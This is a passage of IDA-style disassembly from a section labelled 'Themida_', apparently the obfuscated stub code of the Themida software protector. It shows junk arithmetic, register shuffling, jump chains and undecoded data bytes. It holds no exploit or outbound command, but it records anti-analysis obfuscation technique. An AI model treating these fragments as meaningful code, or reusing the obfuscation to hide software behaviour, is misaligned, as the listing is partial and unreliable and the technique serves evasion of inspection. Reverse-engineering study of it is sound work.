		shr	edi, 4
		push	5098h
		mov	[esp], ebp
		push	esi
		jmp	loc_5514A2
; ---------------------------------------------------------------------------
		db 0BFh, 2 dup(0)
		dd 0D7290000h, 5AE9FA89h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5631F7:				; CODE XREF: Themida_:005519FCj
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 316C2B6Ch
		sub	ecx, 2EF3256Dh
		shl	ecx, 7
		or	ecx, 379C551Bh
		xor	ecx, 6E436A01h
		jmp	loc_5505D7
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 81h
		dd 0AA3144EAh, 14335B38h, 24143124h, 5C241433h,	50241489h
		dd 0CE51E99Ch, 0F989FFFEh, 15E9815Fh, 81111561h, 87D0CDF1h
		dd 0C3E9517Bh, 66FFFF91h, 34E99C51h
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563263:				; CODE XREF: Themida_:00562748j
		push	edi
		mov	edi, 3C6C1EABh
		jmp	loc_561258
; ---------------------------------------------------------------------------
		dw 0C884h
		dd 0CE21E99Ch, 0C580FFFEh, 2E5C077h, 16C9E9h, 241C8700h
		dd 4C2815Ch, 87000000h,	248B2414h, 0C2F7E924h, 0EF81FFFFh
		dd 0ECEC8CC2h, 0E902EFC1h, 0FFFFAA76h
; ---------------------------------------------------------------------------

loc_5632A4:				; CODE XREF: Themida_:00550E52j
		pop	esp
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_5632AA:				; CODE XREF: Themida_:00557014j
		xchg	ebp, [esp]
		jmp	loc_555F01
; ---------------------------------------------------------------------------
		dw 6851h
		dd 65D1163Ah, 0FFA3AEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5632BD:				; CODE XREF: Themida_:0055789Cj
		push	esi
		mov	esi, 2D72585Ah
		add	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 6DD0C33h
		inc	ebx
		shr	ebx, 8
		shr	ebx, 1
		sub	ebx, 679628AAh
		jmp	loc_5583FC
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
aLI4H		db '‹$$‰4$h³',8,0
		dw 0E900h
		dd 0FFFFA09Ch, 2049E95Dh, 0BD550000h, 30AA341Fh, 0B2F5814Dh
		dd 68305046h, 5EB6h, 0E9240489h, 0FFFF419Dh, 0BF243C89h
		dd 0
		dd 9AE9CF29h, 5BFFFFD7h, 1BBDE9h, 0C3815D00h, 0FFFFFFFFh
		dd 0FF5097E9h, 7E94EFFh, 50FFFF9Ch, 0E72DE952h,	0D1F7FFFFh
		dd 0FFF903E9h, 0E98141FFh, 63041AA3h, 0FEF402E9h, 25D0F7FFh
		dd 0C33426Dh, 0D006862Dh, 58C689ACh, 0E907E6C1h, 0FFFF7590h
		dd 0E904EC83h, 0FFFF147Ch
dword_563370	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF6744h, 6807E9C1h
					; DATA XREF: Themida_:0054FFF0o
		dd 3499h, 87240C89h, 0F7502404h, 48B2414h, 81A0E924h, 2C89FFFFh
		dd 0E9E58924h, 0FFFF8DC5h
; ---------------------------------------------------------------------------

loc_5633A4:				; CODE XREF: Themida_:0055A9C7j
		xor	edi, 6A070BE3h
		mov	esi, edi
		pop	edi
		dec	esi
		shl	esi, 1
		push	edx
		jmp	loc_55AF3E
; ---------------------------------------------------------------------------

loc_5633B6:				; CODE XREF: Themida_:0055DD84j
		push	ebx
		jmp	loc_5591FB
; ---------------------------------------------------------------------------
dword_5633BC	dd 240C8B66h, 0D3268h, 241C8900h, 0BE56E389h, 4A07E9Bh
					; DATA XREF: Themida_:0054FFECo
		dd 6B1F684Eh, 4890000h,	816AB824h, 2BE9FB5Fh, 8100000Ah
		dd 37EE0C7h, 5FFB2963h,	3904C381h, 0FB015D75h, 0FF43E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5633F9:				; CODE XREF: Themida_:00562ABDj
		mov	ecx, 0DEA4483Eh
		sub	esi, ecx
		mov	ecx, [esp]
		push	16F4h
		jmp	loc_55DB19
; ---------------------------------------------------------------------------
		db 45h,	0D1h, 0EDh
		dd 8103EDC1h, 4ECh, 24048900h, 0FFA606E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563421:				; CODE XREF: Themida_:00564A85j
		pop	edi
		neg	ecx
		jmp	loc_55997F
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 4Eh
		dd 0C168ED38h, 0C58108EDh, 78913DF3h, 1C8BE581h, 0ED816D03h
		dd 68021407h, 835DEE01h, 0BCE904C6h
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56344F:				; CODE XREF: Themida_:0056547Bj
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_563454:				; DATA XREF: Themida_:0055003Co
		push	ebp
		mov	ebp, esp
		jmp	loc_5542BB
; ---------------------------------------------------------------------------

loc_56345C:				; CODE XREF: Themida_:0055B3A2j
		pop	edi
		add	edx, edi
		pop	edi
		jmp	loc_552147
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 4EE81h, 34330000h, 24343124h,	1241E9h
		db 0
byte_563481	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550014o
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0FF6472E9h
		dd 0FCB951FFh, 31148B5Ah, 67E959CDh, 55FFFF96h,	0FF1FA3E9h
		dd 2BFFFh, 8DE90000h, 5DFFFF27h, 0FF002FE9h, 63D668FFh
		dd 0C8B4DF7h, 4C48324h,	0E9D1F749h, 0FFFF0FC0h,	6C685Ch
		dd 2C890000h, 0BD24h, 0C5810000h, 3F054C06h, 0ED81D529h
		dd 3F054C06h, 0D531EA31h, 34FFEA31h, 0B5E95D24h, 56FFFF59h
		dd 0FF5408E9h, 81FA01FFh, 372BB9EAh, 0D0895F42h, 58C6015Ah
		dd 3CF468h, 243C8900h, 0BDE7E953h, 0E789FFFFh, 6C9BE953h
		db 2 dup(0FFh)
word_56352A	dw 8B66h		; DATA XREF: Themida_:0054FDC4o
		dd 0B268240Ch, 8900006Fh, 1DE9242Ch, 81FFFF08h,	804601EBh
		dd 0BE56500Ch, 45AE4794h, 0FF8E95E9h, 0E8C166FFh, 0D356607h
		dd 0C6016640h, 0CE816658h, 0F7663CF9h, 0E882E9D6h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563566:				; CODE XREF: Themida_:00556164j
		mov	ebx, esi
		jmp	loc_5600EC
; ---------------------------------------------------------------------------

loc_56356D:				; CODE XREF: Themida_:00555D68j
		push	edx
		mov	edx, 22E133FEh
		jmp	loc_55B3EB
; ---------------------------------------------------------------------------

loc_563578:				; CODE XREF: Themida_:0055A8CAj
		push	edi
		mov	edi, 2072703Dh
		sub	ebx, edi
		jmp	loc_55D82F
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0FF069BE9h, 0C3815BFFh, 4, 0E904EB83h, 0FFFFA005h, 66D12858h
		dd 0F990E952h
		db 0FEh, 0FFh
word_5635A6	dw 5ADh			; DATA XREF: Themida_:0054FE2Co
aCfyHM		db 'çfy*)ØhÃm',0
		dw 0E900h
		dd 0FFFF10FBh, 6624248Bh, 0D4E930FFh, 29FFFECAh, 4875EF0h
		dd 4AE95C24h, 5BFFFFF1h, 0DD87D3F7h, 0FF0EABE9h, 81E689FFh
		dd 4C6h, 4C68100h, 87000000h, 99E92434h, 0F7FFFFB2h, 0E38953DFh
		dd 0FEFA8FE9h, 81DE29FFh, 9825ECEEh, 30EE8109h,	8B320C6Eh
		dd 0CA68241Ch, 89000044h, 8B542414h, 89572414h,	4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 4C2815Ch, 81000000h, 4C2h
		dd 24148700h, 0E4A6E95Ch, 665FFFFFh, 665DCE05h,	660F362Dh
		dd 0C0BF6657h, 0F801663Eh, 68665F66h, 89662301h, 0EC83243Ch
		dd 241C8904h, 44396866h, 241C8B66h, 2C481h, 66500000h
		dd 666340B8h, 38E9E8D1h, 1FFFF8Fh, 0B620E9C5h, 4B9FFFFh
		dd 1000000h, 0E5E6E9CEh, 48FFFFFh, 24D35C24h, 0FCE99C24h
		dd 53FFFEC9h, 0C9242C81h, 0E936374Ch, 0FFFEEB0Ah
dword_5636A8	dd 8B2434FFh		; DATA XREF: Themida_:0054FDE4o
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557E49
; ---------------------------------------------------------------------------

loc_5636BC:				; CODE XREF: Themida_:005560C6j
					; Themida_:loc_5649E9j
		push	224Dh
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4E8B17A7h
		push	6E75h
		mov	[esp], esi
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4C0D265Fh
		mov	edx, eax
		jmp	loc_56135A
; ---------------------------------------------------------------------------
		dw 0A8E9h
		dd 55FFFEC9h, 0C01C60BDh, 83D5F734h, 35E9FFEDh,	83FFFF71h
		dd 90E904C4h
		db 0C9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563707:				; CODE XREF: Themida_:005625C6j
		mov	ah, ch
		pop	ecx
		mov	bh, ah
		pop	eax
		mov	dl, cl
		pop	cx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, dl
		mov	dl, [esp+4]
		mov	[esp+4], ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_550097
; ---------------------------------------------------------------------------
byte_56372F	db 0FFh			; DATA XREF: Themida_:0054FE38o
		dd 48B2434h, 4C48324h, 8904EC83h, 0EF682414h, 8900003Ah
		dd 4812424h, 424h, 0C2815A00h, 4, 71B868h, 241C8900h, 4BBh
		dd 0FFDA0100h, 555B2434h, 8904EC83h, 4832424h, 34FF0424h
		dd 0E7E95D24h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56377B:				; CODE XREF: Themida_:005644E4j
		sub	eax, 771335FEh
		jmp	loc_55E974
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 22h
		dd 5541D537h, 0A5243481h, 59636356h, 56A5F181h,	835D6363h
		dd 62E904ECh, 8B00001Bh, 0C4832404h, 81ED8104h,	45539C43h
		dd 8904EC83h, 0BE562414h, 7B46411Bh, 0FFB0B2E9h, 6733BFFFh
		dd 7C295BAAh, 0E95F0824h, 0FFFED265h
; ---------------------------------------------------------------------------

loc_5637D0:				; CODE XREF: Themida_:00553A36j
		mov	esi, 2F17778Fh
		push	ebx
		mov	ebx, 0B4C7237h
		not	ebx
		jmp	loc_562AAB
; ---------------------------------------------------------------------------
		dw 0D788h
		dd 0E952665Ah, 0F16h, 4BB53h, 0D9010000h, 240C335Bh, 33240C31h
		dd 248B240Ch, 0CBD9E924h, 1489FFFFh, 53A6824h, 0C890000h
		dd 5364B524h, 0B71AB652h, 5AF70086h, 0C065F780h, 0EF8008E7h
		dd 0FEEF8664h, 505266C5h, 0E688EC88h, 0FF1626E9h, 24D366FFh
		dd 48E99C24h
		db 0F2h, 0FEh, 0FFh
byte_56383F	db 66h			; DATA XREF: Themida_:0054FE98o
		dd 50E9028Fh, 81FFFEC8h, 0B3D386E9h, 59CF2925h,	0CB06B82Dh
		dd 5F8292Fh, 2FCB06B8h,	0FFFF055Fh, 5205FFFFh, 0E9330925h
		dd 0FFFF53FCh, 8904EC83h, 2B82404h, 1000000h, 0FF5258C2h
		dd 5A042474h, 0E924048Fh, 0FFFFE508h, 3451E95Eh, 0BF57FFFFh
		dd 7D3E4CCFh, 0D70831BDh, 5FFD01EBh, 0FFFFED81h, 0F7E9FFFFh
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5638A7:				; CODE XREF: Themida_:00560461j
		add	ebx, 0AFA86645h
		jmp	loc_559B5B
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 4EC8302h, 0FFF278E9h, 7DDFBDFFh, 0EE0150BAh,	81FE015Dh
		dd 0BA7DDFEEh, 34875F50h, 68565C24h, 4725h, 0E9240C89h
		dd 0FFFF4F38h, 4C281h, 14870000h, 24248B24h, 0D9BA5255h
		dd 0C135480Ah, 0CA8107EAh, 6C511A3Fh, 65C3C281h, 0D5899384h
		dd 2A99E95Ah, 0F801FFFFh, 2434FF5Fh, 4C4815Dh, 56000000h
		dd 0FFAD32E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56391D:				; CODE XREF: Themida_:0055768Aj
		sub	ebx, 73C07F0Eh
		push	edi
		mov	edi, 53C40BAh
		add	ebx, edi
		pop	edi
		xor	ebx, 274BB799h
		push	esi
		mov	esi, 6E5D786Bh
		sub	esi, 0FFFFFFFFh
		jmp	loc_55757C
; ---------------------------------------------------------------------------

loc_563940:				; CODE XREF: Themida_:00557610j
		mov	edx, 14845758h
		add	edx, 6FB04A0h
		or	edi, edx
		pop	edx
		jmp	loc_55BBC5
; ---------------------------------------------------------------------------

loc_563953:				; CODE XREF: Themida_:00559E54j
		pop	edi
		jmp	loc_555083
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0E4h
		dd 81288E69h, 813286F2h, 5AD1010Ch, 3E7D2D5Bh, 0C8293E25h
		dd 253E7D05h, 57A3E93Eh, 2D5CFFFFh, 4EC576F9h, 540BD55h
		dd 2DE979AEh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56398B:				; CODE XREF: Themida_:005572C7j
		push	edx
		mov	edx, 70B706BBh
		sub	edx, 2D62AC60h
		add	ecx, edx
		pop	edx
		push	2BAFh
		mov	[esp], eax
		jmp	loc_5608DD
; ---------------------------------------------------------------------------
		db 57h
		dd 716D13BFh, 4FF78139h, 0E95DE862h, 0FFFFC695h, 49D2EB81h
		dd 0CBE97CBEh, 81FFFF96h, 0FFFFFFC5h, 7922E9FFh, 2468FFFFh
		dd 8900007Dh, 8B542404h, 0A2E92404h, 0B9FFFF76h, 30FC64B2h
		dd 0F181E1D1h, 37DE3673h, 0E9814941h, 0F51CE57Ch, 6859C889h
		dd 7F9Ch, 68241489h, 4BB6376Fh,	88BB535Ah, 8123E945h, 702C3DC3h
		dd 0D0F79362h, 5F38193h, 2960A78Dh, 0F7425BDAh,	84A9E9DAh
		dd 91BAFFFFh, 81678A16h, 0AB369AF2h, 47D3E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A36:				; CODE XREF: Themida_:00552EAFj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_563DA4
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 29080C1Dh, 884BE955h, 0C801FFFFh, 0E1EAE959h, 0E6C1FFFFh
		dd 52C68106h, 812F1042h, 0D623A8E6h, 2EEC172h, 7737EE81h
		dd 0F3019A1Dh, 0D7685A5Eh, 89000030h, 77BA2414h, 2179D703h
		dd 0C3815AD3h, 0D6A8FDC1h, 1C8BDA01h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 31241433h,	14332414h, 24248B24h
		dd 0FFD778E9h, 0A3F480FFh, 0FF3EDAE9h, 48F5EFFh, 24248B24h
		dd 8B2434FFh, 0E9532404h, 0FFFFEEE3h, 0FF243489h, 8B042474h
		dd 89532434h, 4C381E3h,	81000000h, 4C3h, 17EBE900h, 2C87FFFFh
		dd 24248B24h, 215868h, 242C8900h, 0DA8DB8BDh, 0FFE8312Bh
		dd 34FF2434h, 0C4835D24h, 0A68CE904h, 0EF00FFFFh, 24048B59h
		dd 4C481h, 0F8300000h, 5B2434FFh, 513668h, 242C8900h, 0C5815D54h
		dd 4, 0B914E950h
		db 2 dup(0FFh)
word_563B3E	dw 83ACh		; DATA XREF: Themida_:0054FF30o
		dd 0BAE904ECh, 5BFFFFD0h, 0E959CA31h, 0FFFF592Eh, 582434FFh
		dd 4C481h, 0E8680000h, 89000044h, 0BE562414h, 69AF5C35h
		dd 0FC6CE81h, 0B9514BD8h, 526C7682h, 0FF4555E9h, 53D901FFh
		dd 0BBh, 52CB0100h, 0BAh, 88DA0100h, 8B5B5A02h,	0C481240Ch
		dd 4, 0E9241C8Bh, 0FFFFE8A4h, 49B1BE58h, 0C6310743h, 0FED9F3E9h
		dd 665866FFh, 5666D8F7h, 0FED0DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563BB9:				; CODE XREF: Themida_:00550282j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h
word_563BBE	dw 8B66h		; DATA XREF: Themida_:0054FDB4o
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56075E
; ---------------------------------------------------------------------------
		dw 405h
		dd 5000000h, 4,	31240433h, 4332404h, 0C4815C24h, 4, 0FF602CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563BE9:				; CODE XREF: Themida_:0055A0B9j
		pop	ebx
		and	ecx, 184B0E01h
		jmp	loc_55B294
; ---------------------------------------------------------------------------
byte_563BF5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FDECo
		dd 4EC8324h, 0E9243C89h, 0FFFF7FA6h, 0BF575854h, 4, 555FF801h
		dd 0FEE776E9h, 0EC815BFFh, 4, 0BB241C89h, 2, 875BDA01h
		dd 248B2414h, 2CD36624h, 60E99C24h, 0F7FFFEC4h,	0C12F05D0h
		dd 0C601D4ADh, 24148B58h, 0CE9h
		db 0
; ---------------------------------------------------------------------------

loc_563C49:				; CODE XREF: Themida_:005589DBj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55B5E7
; ---------------------------------------------------------------------------
		dd offset dword_414C30+38h
		align 2
		dw 2C89h
		dd 0C645E924h, 0E189FFFEh, 4C181h, 0C1830000h, 240C8704h
		dd 270AE95Ch, 8966FFFFh, 0EDE92404h, 8BFFFFBFh,	54572414h
		dd 4C7815Fh, 83000000h,	3C8704C7h, 0D871E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563C96:				; CODE XREF: Themida_:00564BCCj
		pop	edx
		push	78B7h
		mov	[esp], ecx
		mov	ecx, 70BA1A99h
		inc	ecx
		push	3013h
		mov	[esp], ebp
		mov	ebp, 0EFEDD223h
		xor	ecx, ebp
		pop	ebp
		sub	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edx, 7E3C7809h
		sub	edx, esi
		jmp	loc_55A8BB
; ---------------------------------------------------------------------------
		db 2Dh
		dd 95535E81h, 0BEE9C509h, 28FFFF1Fh, 47E953F0h,	81FFFF11h
		dd 0E4F5CBF1h, 59CE29B6h, 0FF74B9E9h, 5BF800FFh, 0B60FC330h
		dd 8734FFC0h, 0D8DE9h
		db 0
; ---------------------------------------------------------------------------

loc_563CFD:				; CODE XREF: Themida_:0055A73Cj
		pop	ecx
		inc	dl
		sub	dl, 0E7h
		jmp	loc_554949
; ---------------------------------------------------------------------------
		dd 42Dh, 24043300h, 33240431h, 895C2404h, 0C6E92434h, 89FFFF44h
		dd 19E95BD8h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563D27:				; CODE XREF: Themida_:00556279j
		add	ecx, esi
		jmp	loc_560948
; ---------------------------------------------------------------------------
		dd offset dword_557D3C+2Ch
		dw 8900h
		dd 2668241Ch, 0E97D5A24h, 0FFFEE751h, 805AF388h, 0D80076C3h
		dd 0E089505Bh, 405h, 0A9E95100h, 68FFFEF6h, 59FAh, 51243489h
		dd 30128EB9h, 0B2F18109h, 0C1309C21h, 0C18108E9h, 0D1C0474Ah
		dd 0FF68E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563D79:				; CODE XREF: Themida_:00565043j
		pop	ebp
		add	edx, 29672C17h
		add	edx, ecx
		jmp	loc_5525C9
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8904EC83h, 0E6892434h, 4BA52h, 0D6010000h, 4C6835Ah
		dd 0E9243433h, 0FFFFBC10h
; ---------------------------------------------------------------------------

loc_563DA4:				; CODE XREF: Themida_:00563A45j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_563DBA:				; CODE XREF: Themida_:00555751j
		add	edx, 9A94158Ch
		add	eax, edx
		pop	edx
		jmp	loc_553E74
; ---------------------------------------------------------------------------
		dd 2C181h, 0E9510000h, 0FFFF074Bh, 0B2491768h, 7129E910h
		db 2 dup(0FFh)
word_563DDE	dw 8B66h		; DATA XREF: Themida_:0054FE0Co
		dd 7EE92404h, 81FFFFD2h, 0CF41F1C1h, 59C889A9h,	2404FF50h
		dd 0E924048Bh, 0FFFF33E0h
; ---------------------------------------------------------------------------

loc_563DFC:				; CODE XREF: Themida_:005620B9j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_553EAB
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 6F205CA7h, 29E9C601h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563E1B:				; CODE XREF: Themida_:00553239j
		xor	[esp], edx
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		not	ebp
		xchg	ebp, edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55FF41
; ---------------------------------------------------------------------------

loc_563E3F:				; CODE XREF: Themida_:00556ECEj
		mov	eax, 4
		sub	edi, 14DF22ACh
		jmp	loc_558246
; ---------------------------------------------------------------------------

loc_563E4F:				; CODE XREF: Themida_:005620E2j
		add	ecx, 4
		jmp	loc_55CDA5
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 59CF015Ah, 7A6F68h, 243C8900h, 0FFB9FEE9h, 55DBF7FFh
		dd 9F1726BDh, 0EDCD8155h, 0E90D7E1Bh, 0FFFF3372h, 0BB53E089h
		dd 4, 55BD801h,	4, 5C240487h, 0FEC657E9h, 440768FFh, 81595E75h
		dd 4C1807F1h, 0E37BE919h, 8951FFFEh, 97C7E9E1h,	8F5FFFFFh
		dd 875F2404h, 87D2F7D7h, 5E7C1D7h, 0A2A4B951h, 0CF01FC63h
		dd 6479E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563ECE:				; CODE XREF: Themida_:00556775j
		pop	ecx
		push	dx
		jmp	loc_560160
; ---------------------------------------------------------------------------

loc_563ED6:				; CODE XREF: Themida_:0055B6B7j
		xor	ecx, eax
		pop	eax
		sub	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ecx, 6EF0271h
		sub	ecx, 78420886h
		jmp	loc_551A9E
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 0C141E981h, 5E9BF11h
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F03:				; CODE XREF: Themida_:00565233j
		push	ecx
		mov	ecx, 55667260h
		jmp	loc_55F3CE
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFEA51h
; ---------------------------------------------------------------------------

loc_563F14:				; CODE XREF: Themida_:00559274j
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55E58F
; ---------------------------------------------------------------------------

loc_563F20:				; CODE XREF: Themida_:005624BCj
		mov	esp, [esp]
		jmp	loc_557635
; ---------------------------------------------------------------------------
		dd 52DEE952h, 0C581FFFFh, 4, 755F68h, 7A2AE900h, 3559FFFFh
		dd 134055F3h, 105h, 0F1B95100h,	1378037h, 6F0559C8h, 810162BFh
		dd 4C0D4FEEh, 81C6011Fh, 4C0D4FC6h, 0C681581Fh,	5E7C35C4h
		dd 2774E681h, 0F6812C13h, 20112310h, 34FFF701h,	0E9515E24h
		dd 0FFFEDE04h, 4C481h, 0F7E90000h, 89FFFEE4h, 4C781E7h
		dd 83000000h, 3C8704C7h, 48F5C24h, 24248B24h, 240CD366h
		dd 0C0E9E99Ch, 14F7FFFEh, 6936E924h
		db 2 dup(0FFh)
word_563FB6	dw 8B66h		; DATA XREF: Themida_:0054FF54o
		dd 54562404h, 0C11685Eh, 0C890000h, 6E6AB924h, 0C2E947F6h
		dd 81FFFEE0h, 5755BDCBh, 2100E917h, 0D589FFFFh,	0EB015E5Ah
		dd 5687E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563FE6:				; CODE XREF: Themida_:0055A342j
		add	esp, 4
		shl	ecx, 6
		shl	ecx, 3
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7C01A61h
		shr	esi, 3
		jmp	loc_553BF7
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4EC81h, 14890000h, 4BA24h, 0D7010000h, 0BA52515Ah, 5725848h
		dd 2EC6BF57h, 0E781626Eh, 0FF61609h, 0FF1328E9h, 0E08950FFh
		dd 0FF2DBCE9h, 7EAC1FFh, 96EFBE56h, 4E9772Eh, 81FFFFF1h
		dd 4C4h, 4C58100h, 87000000h, 685C242Ch, 0B94h,	0FF241489h
		dd 0E9042474h, 0FFFEF688h, 5BEE955h, 82680000h,	0E9000044h
		dd 0FFFEE849h, 80B0EC80h, 0E500ADC4h, 0ADC58058h, 2C7CED80h
		dd 4E82876h, 289CE976h,	685DFFFFh, 7269h, 50243C89h, 0F984E952h
		dd 0C781FFFFh, 46C43442h, 83240C8Bh, 3C8704C4h,	24248B24h
		dd 24048B66h, 248C68h, 241C8900h, 56C368h, 48F5400h, 9E94E924h
		dd 0C481FFFFh, 4, 57D3B850h, 0E0C11397h, 99BF5703h, 810A227Ah
		dd 344B23C7h, 17E94774h, 0C1FFFF0Eh, 53E904E5h,	0BFFFFFF9h
		dd 76A54A3Ah, 7250CF81h, 0F7813343h, 12235BC8h,	0EF81D7F7h
		dd 9A3BDE49h, 3C8BFE01h, 4C48124h, 0E9000000h, 0FFFFD06Bh
		dd 0E9C82958h, 0FFFF998Ch, 405h, 4C08300h, 23CE9h, 81454D00h
		dd 9E0F5h, 5DE80100h, 4EC8353h,	0B9240C89h, 33320442h
		dd 2FA2E181h, 514964C1h, 0FECAD8E9h, 0E5305AFFh, 8124048Bh
		dd 4C4h, 944CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56416A:				; CODE XREF: Themida_:00551FD2j
		shl	ebp, 8
		xor	ebp, 0EE548A39h
		mov	ebx, ebp
		pop	ebp
		or	ebx, 226C3AD3h
		push	esi
		mov	esi, 5FDB7189h
		add	esi, 3E1B45E6h
		jmp	loc_55A8B5
; ---------------------------------------------------------------------------

loc_56418D:				; CODE XREF: Themida_:00561691j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55B392
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB35D0F5h, 3EDC16Ah, 0FF7E4DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5641AD:				; CODE XREF: Themida_:00553BF2j
		push	ecx
		mov	ch, bl
		not	ch
		push	598Ch
		mov	[esp], edx
		mov	dl, ch
		mov	bl, dl
		pop	edx
		pop	ecx
		push	0
		sub	[esp], bl
		mov	bl, [esp]
		add	esp, 4
		jmp	loc_55F332
; ---------------------------------------------------------------------------
		db 0C1h
		dd 46E904E9h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5641DB:				; CODE XREF: Themida_:005607C0j
		mov	[esp], ecx
		push	ebx
		push	edi
		mov	edi, 62D700B8h
		or	edi, 68938CCh
		neg	edi
		or	edi, 1C0F325Ch
		not	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_559E29
; ---------------------------------------------------------------------------
		db 57h
		dd 7658E7BFh, 94EF810Eh, 8139F56Bh, 501154E7h, 80F7817Ch
		dd 0E922A620h, 0FFFF4701h, 79FBA705h, 67EB810Bh, 0E95F4F27h
		dd 0FFFF8A2Bh, 2EE5BA52h, 0D1893E53h, 0FF1252E9h, 4C083FFh
		dd 2474FF50h, 48F5804h,	24248B24h, 3302C783h, 3C31243Ch
		dd 243C3324h, 6624248Bh, 9C243CD3h, 0FEBE36E9h,	6FE95FFFh
		dd 54FFFF73h, 4EC815Dh,	89000000h, 4B82404h, 0E9000000h
		dd 0FFFED697h, 1B47A2BFh, 5FFA892Fh, 1DE9D731h,	0BAFFFF62h
		dd 258A0F69h, 0FEF363E9h, 1C183FFh, 3900F181h, 0CB015AD2h
		dd 0EEC38159h, 814CED22h, 2F7B15EBh, 48BF572Ah,	0E927497Bh
		dd 0FFFF8AD7h, 80BDB753h, 15E986F7h, 1000009h, 243C8BF9h
		dd 81E38953h, 4C3h, 4C38300h, 0FFCBC2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5642D9:				; CODE XREF: Themida_:00551C86j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, eax
		push	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_564BB6
; ---------------------------------------------------------------------------
		dd 0CCB60F66h, 14D16866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFECFA8h, 6607C580h, 80000068h, 28C2242Ch,	5266242Ch
		dd 0EBE9C2B6h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56432F:				; CODE XREF: Themida_:005649C2j
		push	eax
		mov	eax, 4714726h
		neg	eax
		jmp	loc_554116
; ---------------------------------------------------------------------------
		dd 685DE901h, 2885h, 50242C89h,	2B8h, 34815000h, 6430EC24h
